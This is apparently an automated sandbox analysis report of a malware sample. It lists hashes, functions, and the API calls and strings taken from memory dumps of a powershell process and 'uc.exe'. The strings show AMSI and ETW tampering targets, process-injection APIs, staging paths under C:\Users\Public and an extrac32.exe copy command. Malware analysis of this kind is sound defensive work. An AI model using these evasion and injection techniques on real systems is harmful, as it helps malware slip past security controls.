Opcode ID: 232f3a57b737b8863ce638220fbf1804ef5282bfb37cf8667eed779ecc852e3c
Instruction ID: e41de46f15e7ba4a3ee00e1ac664bab8db38bcac9be637a11754b0ddc684a5e6
Opcode Fuzzy Hash: 232f3a57b737b8863ce638220fbf1804ef5282bfb37cf8667eed779ecc852e3c
Instruction Fuzzy Hash: 82122471A1EBC58FE366972858651B57FE1EF57250B0982FFD08DC70B3E918980A83D2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAABA26335 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a5946a606510157bdb5b42b9b3fdf9ca01be28da13ee7024ef1a2102a988ea0
Instruction ID: b7fe74f21ba21b1a8201cb951cedff7a14836012c73d779de3c56ae1f534544b
Opcode Fuzzy Hash: 6a5946a606510157bdb5b42b9b3fdf9ca01be28da13ee7024ef1a2102a988ea0
Instruction Fuzzy Hash: F5D157B291FBC98FE765EB6C88555B97F90EF26250B1841FED08DC70B3E9189809C381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAABA2995D Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ca3ac8d76e7e80c1c624e9e625305fa1eab7642eb9ac4ebc19c6dcc590070dc
Instruction ID: 4513c9f333684e225a6984c998a66d3e42ab4843ed636e7f2d2401846dffad65
Opcode Fuzzy Hash: 8ca3ac8d76e7e80c1c624e9e625305fa1eab7642eb9ac4ebc19c6dcc590070dc
Instruction Fuzzy Hash: C4B1DDA191F7C98FE397977848655617FE0EF57650B0981FBD0C8CB1B3E908984AC3A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAABA239A0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53de2596b495ec47377b27fc596627a4e4866e75c4e6c76413789c2b5fac54df
Instruction ID: 71883a2fe8ddc57cf3da650c69f6c3936b1b03960fd851b9b1d702a18614be7c
Opcode Fuzzy Hash: 53de2596b495ec47377b27fc596627a4e4866e75c4e6c76413789c2b5fac54df
Instruction Fuzzy Hash: 6531F572E2FA874FF39597680466278A6C6FF87290B5481B9D04EC71F2ED29D8094280

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFAABA20F6D Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7485de88ffc298e14b6599050d13295bc48443b6fee9cf4dff7d039a2e0a401
Instruction ID: ee9d8ac7024f839efe67e6e0d2740416d8f4b69dcd9d56413be42cf401805e93
Opcode Fuzzy Hash: f7485de88ffc298e14b6599050d13295bc48443b6fee9cf4dff7d039a2e0a401
Instruction Fuzzy Hash: AF41C6A295EBC66FE36A872858565646FA0DF43290B1D81FAD0CDCB4F3F8085C0E5391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAABA222D9 Relevance: 5.4, Strings: 4, Instructions: 368COMMON

Download Yara Rule

Strings

8hz, xrefs: 00007FFAABA2243D
8hz, xrefs: 00007FFAABA2244F
8hz, xrefs: 00007FFAABA223AC
8hz, xrefs: 00007FFAABA22556

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID: 8hz$8hz$8hz$8hz
API String ID: 0-2997940489
Opcode ID: 2e495c9f988770dc48786f71e39d63e27360eba7e989caa33ea920b4d796815d
Instruction ID: 68b2b3bff8942d55ef7ab8a3a08466189fc68c546b1e461d3bfc625d4fd30a42
Opcode Fuzzy Hash: 2e495c9f988770dc48786f71e39d63e27360eba7e989caa33ea920b4d796815d
Instruction Fuzzy Hash: 83A14662A1EBC68FE7A5876858515B07FE0DF67250B1881FBD48EC71F3E8199C0A83D1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: uc.exePID: 8080, Parent PID: 7800COMMON

Execution Graph

Execution Coverage:	16%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	29.3%
Total number of Nodes:	1403
Total number of Limit Nodes:	17

Executed Functions

Function 0299D5D0 Relevance: 218.7, APIs: 9, Strings: 111, Instructions: 8669COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,029A8FB6,?,?,?,00000000,00000000), ref: 0299D604

Part of subcall function 02997BE8: LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
Part of subcall function 02997BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
Part of subcall function 02997BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

Part of subcall function 02987E18: GetFileAttributesA.KERNEL32(00000000,?,0299E0EE,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanString,029E4344,029A8FEC,UacScan,029E4344,029A8FEC,UacInitialize), ref: 02987E23

Part of subcall function 0298C320: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029E45F0,?,0299E40F,ScanBuffer,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanBuffer,029E4344,029A8FEC,OpenSession), ref: 0298C337

Part of subcall function 0299C4DC: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C5AC), ref: 0299C517
Part of subcall function 0299C4DC: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0299C5AC), ref: 0299C547
Part of subcall function 0299C4DC: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0299C55C
Part of subcall function 0299C4DC: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0299C588
Part of subcall function 0299C4DC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0299C591

Part of subcall function 02987E3C: GetFileAttributesA.KERNEL32(00000000,?,029A1133,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanBuffer,029E4344,029A8FEC,ScanString), ref: 02987E47

Part of subcall function 02988004: CreateDirectoryA.KERNEL32(00000000,00000000,?,029A1324,ScanBuffer,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,Initialize,029E4344,029A8FEC,ScanString,029E4344,029A8FEC), ref: 02988011

Strings

CreateProcessA, xrefs: 029A81B0
[InternetShortcut], xrefs: 029A4BD4
^^Nc, xrefs: 0299EB0F, 0299F2CB
NtDeviceIoControlFile, xrefs: 029A8138
sppc, xrefs: 029A7639, 029A766C, 029A769F, 029A76D2, 029A86DA, 029A870D
RtlAllocateHeap, xrefs: 029A7DF7, 029A7E5D
NtWriteVirtualMemory, xrefs: 029A895A
OpenProcess, xrefs: 029A841D
Advapi, xrefs: 029A816A, 029A8179, 029A8188, 029A8197, 029A81D3, 029A81E2, 029A81F1
VirtualAllocEx, xrefs: 029A83B7
LdrLoadDll, xrefs: 029A88F4
WinHttp.WinHttpRequest.5.1, xrefs: 0299FFE9
Kernel32, xrefs: 029A81B5, 029A81C4, 029A8200
bcrypt, xrefs: 0299DBB1, 0299DBE4, 0299DC17, 029A7A70
BCryptRegisterProvider, xrefs: 0299DC00
@^@, xrefs: 0299F91F
DlpCheckIsCloudSyncApp, xrefs: 029A7C33
HotKey=, xrefs: 029A4D6B
Ntdll, xrefs: 029A812E, 029A813D, 029A814C, 029A815B
ScanString, xrefs: 0299D8A2, 0299D993, 0299DB24, 0299DCB5, 0299DF3E, 0299E05D, 0299E5D2, 0299F1D9, 0299F375, 0299F7B1, 0299F9CC, 0299FA48, 0299FD65, 029A008B, 029A0354, 029A0791, 029A0BC2, 029A0DD2, 029A10A1, 029A33CD, 029A3449, 029A35E3, 029A3928, 029A3CEC, 029A437E, 029A4B64, 029A4CD9, 029A4D91, 029A53EC, 029A5886, 029A5CED, 029A6310, 029A6ECD, 029A72AE, 029A75AC, 029A7967, 029A7D4E, 029A7F45, 029A830E, 029A85E7
RtlQueryProcessDebugInformation, xrefs: 029A8156
Initialize, xrefs: 0299D701, 0299E4DA, 0299E65D, 0299E7FB, 0299E9A1, 0299EC56, 0299F2F9, 0299F735, 0299FBDF, 0299FCE9, 029A03D0, 029A0702, 029A0A22, 029A0D56, 029A1147, 029A14D7, 029A3707, 029A3A9C, 029A3E98, 029A405D, 029A4155, 029A43FA, 029A45FF, 029A5560, 029A6218, 029A6B60, 029A7770, 029A7B0E, 029A803D, 029A84EF, 029A8A2C
RtlCreateQueryDebugBuffer, xrefs: 029A7E90
EnumServicesStatusW, xrefs: 029A8174
DllGetActivationFactory, xrefs: 0299DD5E
DlpGetArchiveFileTraceInfo, xrefs: 029A7C66
SLGatherMigrationBlob, xrefs: 029A86C3
DlpGetWebSiteAccess, xrefs: 029A7C99
NtQuerySecurityObject, xrefs: 029A888E
EnumServicesStatusA, xrefs: 029A8165
ScanBuffer, xrefs: 0299D639, 0299DA0F, 0299DC39, 0299E17E, 0299E28B, 0299E392, 0299E755, 0299E8F3, 0299EA99, 0299EBB9, 0299ED4E, 0299EE46, 0299F0AF, 0299F255, 0299F3F1, 0299F507, 0299F595, 0299F8A9, 0299FB4A, 0299FC5B, 0299FDF8, 029A01A3, 029A02AF, 029A04CD, 029A05EA, 029A0905, 029A09A6, 029A0B1A, 029A0CDA, 029A0E88, 029A1292, 029A1330, 029A1553, 029A16C9, 029A3351, 029A3541, 029A387B, 029A3B94, 029A3F14, 029A42C9, 029A44F2, 029A46F7, 029A485D, 029A49D1, 029A4A4D, 029A55DC, 029A566D, 029A5A9D, 029A5C30, 029A5D8C, 029A5F00, 029A63A1, 029A660D, 029A679E, 029A6931, 029A6AD7, 029A6D7A, 029A7053, 029A71EC, 029A73A6, 029A74B4, 029A77EC, 029A7B8A, 029A80B9, 029A8B24
C:\\Users\\Public\\Libraries\\, xrefs: 029A4000
NtOpenSection, xrefs: 029A87C2
FlushInstructionCache, xrefs: 029A8483
NtQueryInformationThread, xrefs: 029A878F
NtGetWriteWatch, xrefs: 029A8729
kernel32, xrefs: 029A839B, 029A83CE, 029A8401, 029A8434, 029A8467, 029A849A, 029A84CD
SLIsGenuineLocalEx, xrefs: 029A7688
LdrGetProcedureAddress, xrefs: 029A8927
sppwmi, xrefs: 029A86A7
NtQuerySystemInformation, xrefs: 029A8129
GET, xrefs: 029A0102
BCryptQueryProviderRegistration, xrefs: 0299DBCD
psapi, xrefs: 029A81A6
NtQueryVirtualMemory, xrefs: 029A875C
NtReadVirtualMemory, xrefs: 029A885B
GetProxyDllInfo, xrefs: 0299D84B
SLGetGenuineInformation, xrefs: 029A7622
NtAlertResumeThread, xrefs: 029A7DC4
NtCreateSection, xrefs: 029A87F5
CreateProcessAsUserA, xrefs: 029A81CE
OpenSession, xrefs: 0299D69D, 0299DFE1, 0299E102, 0299E20F, 0299E316, 0299E6D9, 0299E877, 0299EA1D, 0299EB3D, 0299ECD2, 0299EDCA, 0299EFB7, 0299F15D, 0299F48B, 0299F6B9, 0299F82D, 0299F950, 0299FACE, 0299FE74, 0299FEF7, 029A000F, 029A0127, 029A0233, 029A0451, 029A056E, 029A080D, 029A0889, 029A0A9E, 029A0C3E, 029A0F04, 029A1025, 029A11C3, 029A13AC, 029A1860, 029A34C5, 029A365F, 029A37FF, 029A39A4, 029A3B18, 029A3D68, 029A3E1C, 029A40D9, 029A424D, 029A467B, 029A4955, 029A4AC9, 029A4C5D, 029A4E0D, 029A54E4, 029A56E9, 029A5902, 029A59A5, 029A5B38, 029A5E08, 029A619C, 029A6499, 029A6591, 029A6722, 029A68B5, 029A6A5B, 029A6C58, 029A6F49, 029A70CF, 029A732A, 029A7530, 029A76F4, 029A79E3, 029A7A92, 029A7CD2, 029A7EC9, 029A7FC1, 029A8292, 029A856B, 029A8AA8
tquery, xrefs: 029A7879
ieproxy, xrefs: 0299D835, 0299D85C, 0299D883
iexpress.exe, xrefs: 0299E300
DlpNotifyPreDragDrop, xrefs: 029A7C00
EnumServicesStatusExA, xrefs: 029A8183
CryptSIPGetSignedDataMsg, xrefs: 0299DAEB
BCryptVerifySignature, xrefs: 0299DB9A, 029A7A59
EnumServicesStatusExW, xrefs: 029A8192
SxTracerGetThreadContextDebug, xrefs: 029A7895, 029A865D
SetUnhandledExceptionFilter, xrefs: 029A84B6
SLGetSLIDList, xrefs: 029A7655
NtMapViewOfSection, xrefs: 029A8828
C:\Windows\System32\, xrefs: 0299E0D9, 029A57E3
GetProcessMemoryInfo, xrefs: 029A78FB
DllGetClassObject, xrefs: 0299D824, 0299DD2B, 029A1239, 029A78C8, 029A8690
UacScan, xrefs: 0299D7C9, 0299DDCA, 0299DEC2, 0299E45E, 0299F033, 0299F611, 0299FF73, 029A0686, 029A15CF, 029A17C1, 029A18DC, 029A3A20, 029A3F90, 029A41D1, 029A4476, 029A4583, 029A47E1, 029A48D9, 029A5468, 029A580A, 029A5A21, 029A5BB4, 029A5E84, 029A6294, 029A641D, 029A6515, 029A66A6, 029A6839, 029A69DF, 029A6BDC, 029A6DF6, 029A6FD7, 029A7170, 029A7422
NtWaitForSingleObject, xrefs: 029A7E2A
C:\Users\Public\, xrefs: 029A3C19, 029A4E7D
C:\Windows\SysWOW64, xrefs: 029A1837
FindCertsByIssuer, xrefs: 0299D95A
DEEX, xrefs: 0299D612
C:\Users\Public\Libraries, xrefs: 0299E647
IconIndex=, xrefs: 029A4C37
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 029A433B
DllRegisterServer, xrefs: 0299D872, 0299DD91
.url, xrefs: 029A3C24
EtwEventWriteEx, xrefs: 029A89C0
WriteVirtualMemory, xrefs: 029A8450
CryptSIPGetInfo, xrefs: 0299DA85
psapi, xrefs: 029A7912
EnumProcessModules, xrefs: 029A81A1
UacInitialize, xrefs: 0299D765, 0299DE46, 0299E556, 029A3783, 029A3C70, 029A5765, 029A6CFE, 029A8216
CreateProcessAsUserW, xrefs: 029A81DD, 029A81FB
acS, xrefs: 029A19B0
can, xrefs: 029A19C3
MZP, xrefs: 029A7145
VirtualAlloc, xrefs: 029A8384
http, xrefs: 0299FDD5
ntdll, xrefs: 029A7DDB, 029A7E0E, 029A7E41, 029A7E74, 029A7EA7, 029A8740, 029A8773, 029A87A6, 029A87D9, 029A880C, 029A883F, 029A8872, 029A88A5, 029A88D8, 029A890B, 029A893E, 029A8971, 029A89A4, 029A89D7, 029A8A0A
CreateProcessWithLogonW, xrefs: 029A81EC
URL=file:", xrefs: 029A4BE3
CreateProcessW, xrefs: 029A81BF
mssip32, xrefs: 0299DA9C, 0299DACF, 0299DB02, 029A7945
endpointdlp, xrefs: 029A7C17, 029A7C4A, 029A7C7D, 029A7CB0
spp, xrefs: 029A78AC, 029A78DF, 029A8674
SLLoadApplicationPolicies, xrefs: 029A76BB
SLGetEncryptedPIDEx, xrefs: 029A86F6
wintrust, xrefs: 0299D90E, 0299D93E, 0299D971
UacUninitialize, xrefs: 029A145B, 029A1745
CryptSIPVerifyIndirectData, xrefs: 0299DAB8, 029A792E
TrustOpenStores, xrefs: 0299D8FD
WintrustAddActionID, xrefs: 0299D927
VirtualProtect, xrefs: 029A83EA
RetailTracerEnable, xrefs: 029A7862
smartscreenps, xrefs: 0299DD42, 0299DD75, 0299DDA8
NtOpenFile, xrefs: 029A898D
NtQueryDirectoryFile, xrefs: 029A8147
NtAccessCheck, xrefs: 029A88C1
EtwEventWrite, xrefs: 029A89F3

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: File$AttributesModuleNamePath$AddressCloseCreateDirectoryHandleInetInformationLibraryLoadName_OfflineOpenProcQueryRead
String ID: .url$@^@$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\Libraries$C:\Windows\SysWOW64$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$^^Nc$acS$bcrypt$can$endpointdlp$http$ieproxy$iexpress.exe$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 2725267379-582383607
Opcode ID: a4a4b7e7bf25414d11e97e5687f8cebb6f832ed5ad09ed894c57ca30d3d1a7cb
Instruction ID: 5d7c03365745cfb59252762070a42aeb662a1bfa82a7f8d76c61e73a47c6c7fa
Opcode Fuzzy Hash: a4a4b7e7bf25414d11e97e5687f8cebb6f832ed5ad09ed894c57ca30d3d1a7cb
Instruction Fuzzy Hash: EB04FA34A5025ADFDF60FB64D890ADEB3B6BFC9704F1454E5A009AB650DB70AE81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 029A5FA0 Relevance: 142.4, APIs: 3, Strings: 77, Instructions: 2445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997BE8: LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
Part of subcall function 02997BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
Part of subcall function 02997BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

Part of subcall function 02982EE0: QueryPerformanceCounter.KERNEL32 ref: 02982EE4

GetCurrentProcess.KERNEL32(00000000,00000000,00001000,00000040,ScanBuffer,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,UacScan,029E4344,029A8FEC,ScanBuffer,029E4344,029A8FEC), ref: 029A681D

Part of subcall function 02997968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997975
Part of subcall function 02997968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299797B
Part of subcall function 02997968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 0299799B

EnumSystemLocalesA.C:\WINDOWS\SYSTEM32\KERNELBASE(00000000,00000000,ScanBuffer,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,UacScan,029E4344,029A8FEC,ScanBuffer,029E4344,029A8FEC,OpenSession,029E4344), ref: 029A6B4F

Part of subcall function 02987E18: GetFileAttributesA.KERNEL32(00000000,?,0299E0EE,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanString,029E4344,029A8FEC,UacScan,029E4344,029A8FEC,UacInitialize), ref: 02987E23

Part of subcall function 0299C3F8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C4CA), ref: 0299C437
Part of subcall function 0299C3F8: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C471
Part of subcall function 0299C3F8: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C49E
Part of subcall function 0299C3F8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C4A7

ExitProcess.KERNEL32(00000000,ScanBuffer,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,Initialize,029E4344,029A8FEC,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC), ref: 029A8B96

Strings

CreateProcessA, xrefs: 029A81B0
BCryptVerifySignature, xrefs: 029A7A59
EnumServicesStatusExW, xrefs: 029A8192
SxTracerGetThreadContextDebug, xrefs: 029A7895, 029A865D
NtDeviceIoControlFile, xrefs: 029A8138
SetUnhandledExceptionFilter, xrefs: 029A84B6
NtWriteVirtualMemory, xrefs: 029A895A
SLGetSLIDList, xrefs: 029A7655
sppc, xrefs: 029A7639, 029A766C, 029A769F, 029A76D2, 029A86DA, 029A870D
RtlAllocateHeap, xrefs: 029A7DF7, 029A7E5D
OpenProcess, xrefs: 029A841D
NtMapViewOfSection, xrefs: 029A8828
Advapi, xrefs: 029A816A, 029A8179, 029A8188, 029A8197, 029A81D3, 029A81E2, 029A81F1
VirtualAllocEx, xrefs: 029A83B7
LdrLoadDll, xrefs: 029A88F4
Kernel32, xrefs: 029A81B5, 029A81C4, 029A8200
bcrypt, xrefs: 029A7A70
GetProcessMemoryInfo, xrefs: 029A78FB
DllGetClassObject, xrefs: 029A78C8, 029A8690
UacScan, xrefs: 029A6294, 029A641D, 029A6515, 029A66A6, 029A6839, 029A69DF, 029A6BDC, 029A6DF6, 029A6FD7, 029A7170, 029A7422
NtWaitForSingleObject, xrefs: 029A7E2A
DlpCheckIsCloudSyncApp, xrefs: 029A7C33
Ntdll, xrefs: 029A812E, 029A813D, 029A814C, 029A815B
ScanString, xrefs: 029A60A4, 029A6310, 029A6ECD, 029A72AE, 029A75AC, 029A7967, 029A7D4E, 029A7F45, 029A830E, 029A85E7
RtlQueryProcessDebugInformation, xrefs: 029A8156
Initialize, xrefs: 029A6028, 029A6218, 029A6B60, 029A7770, 029A7B0E, 029A803D, 029A84EF, 029A8A2C
EtwEventWriteEx, xrefs: 029A89C0
WriteVirtualMemory, xrefs: 029A8450
EnumServicesStatusW, xrefs: 029A8174
RtlCreateQueryDebugBuffer, xrefs: 029A7E90
DlpGetArchiveFileTraceInfo, xrefs: 029A7C66
SLGatherMigrationBlob, xrefs: 029A86C3
EnumProcessModules, xrefs: 029A81A1
psapi, xrefs: 029A7912
UacInitialize, xrefs: 029A6CFE, 029A8216
DlpGetWebSiteAccess, xrefs: 029A7C99
NtQuerySecurityObject, xrefs: 029A888E
EnumServicesStatusA, xrefs: 029A8165
CreateProcessAsUserW, xrefs: 029A81DD, 029A81FB
MZP, xrefs: 029A7145
ScanBuffer, xrefs: 029A63A1, 029A660D, 029A679E, 029A6931, 029A6AD7, 029A6D7A, 029A7053, 029A71EC, 029A73A6, 029A74B4, 029A77EC, 029A7B8A, 029A80B9, 029A8B24
NtOpenSection, xrefs: 029A87C2
VirtualAlloc, xrefs: 029A8384
FlushInstructionCache, xrefs: 029A8483
NtQueryInformationThread, xrefs: 029A878F
NtGetWriteWatch, xrefs: 029A8729
ntdll, xrefs: 029A7DDB, 029A7E0E, 029A7E41, 029A7E74, 029A7EA7, 029A8740, 029A8773, 029A87A6, 029A87D9, 029A880C, 029A883F, 029A8872, 029A88A5, 029A88D8, 029A890B, 029A893E, 029A8971, 029A89A4, 029A89D7, 029A8A0A
CreateProcessWithLogonW, xrefs: 029A81EC
kernel32, xrefs: 029A839B, 029A83CE, 029A8401, 029A8434, 029A8467, 029A849A, 029A84CD
CreateProcessW, xrefs: 029A81BF
LdrGetProcedureAddress, xrefs: 029A8927
sppwmi, xrefs: 029A86A7
SLIsGenuineLocalEx, xrefs: 029A7688
mssip32, xrefs: 029A7945
endpointdlp, xrefs: 029A7C17, 029A7C4A, 029A7C7D, 029A7CB0
spp, xrefs: 029A78AC, 029A78DF, 029A8674
SLLoadApplicationPolicies, xrefs: 029A76BB
SLGetEncryptedPIDEx, xrefs: 029A86F6
NtQuerySystemInformation, xrefs: 029A8129
psapi, xrefs: 029A81A6
CryptSIPVerifyIndirectData, xrefs: 029A792E
NtQueryVirtualMemory, xrefs: 029A875C
NtReadVirtualMemory, xrefs: 029A885B
SLGetGenuineInformation, xrefs: 029A7622
NtCreateSection, xrefs: 029A87F5
NtAlertResumeThread, xrefs: 029A7DC4
CreateProcessAsUserA, xrefs: 029A81CE
OpenSession, xrefs: 029A5FAC, 029A6120, 029A619C, 029A6499, 029A6591, 029A6722, 029A68B5, 029A6A5B, 029A6C58, 029A6F49, 029A70CF, 029A732A, 029A7530, 029A76F4, 029A79E3, 029A7A92, 029A7CD2, 029A7EC9, 029A7FC1, 029A8292, 029A856B, 029A8AA8
VirtualProtect, xrefs: 029A83EA
RetailTracerEnable, xrefs: 029A7862
tquery, xrefs: 029A7879
NtOpenFile, xrefs: 029A898D
NtQueryDirectoryFile, xrefs: 029A8147
NtAccessCheck, xrefs: 029A88C1
EnumServicesStatusExA, xrefs: 029A8183
DlpNotifyPreDragDrop, xrefs: 029A7C00
EtwEventWrite, xrefs: 029A89F3

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: File$AddressHandleModulePathProcProcess$AllocateAttributesCloseCounterCreateCurrentEnumExitLibraryLoadLocalesMemoryNameName_PerformanceQuerySystemVirtualWrite
String ID: Advapi$BCryptVerifySignature$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$bcrypt$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 724724934-2845693168
Opcode ID: 5b45583b09bea8578b2f0d16edd378443382d8ec9811990ae34a51cf4b9592ff
Instruction ID: 047f7afaad49be69d9249dd4709073306a698abc372d1c076223f1dc82216c26
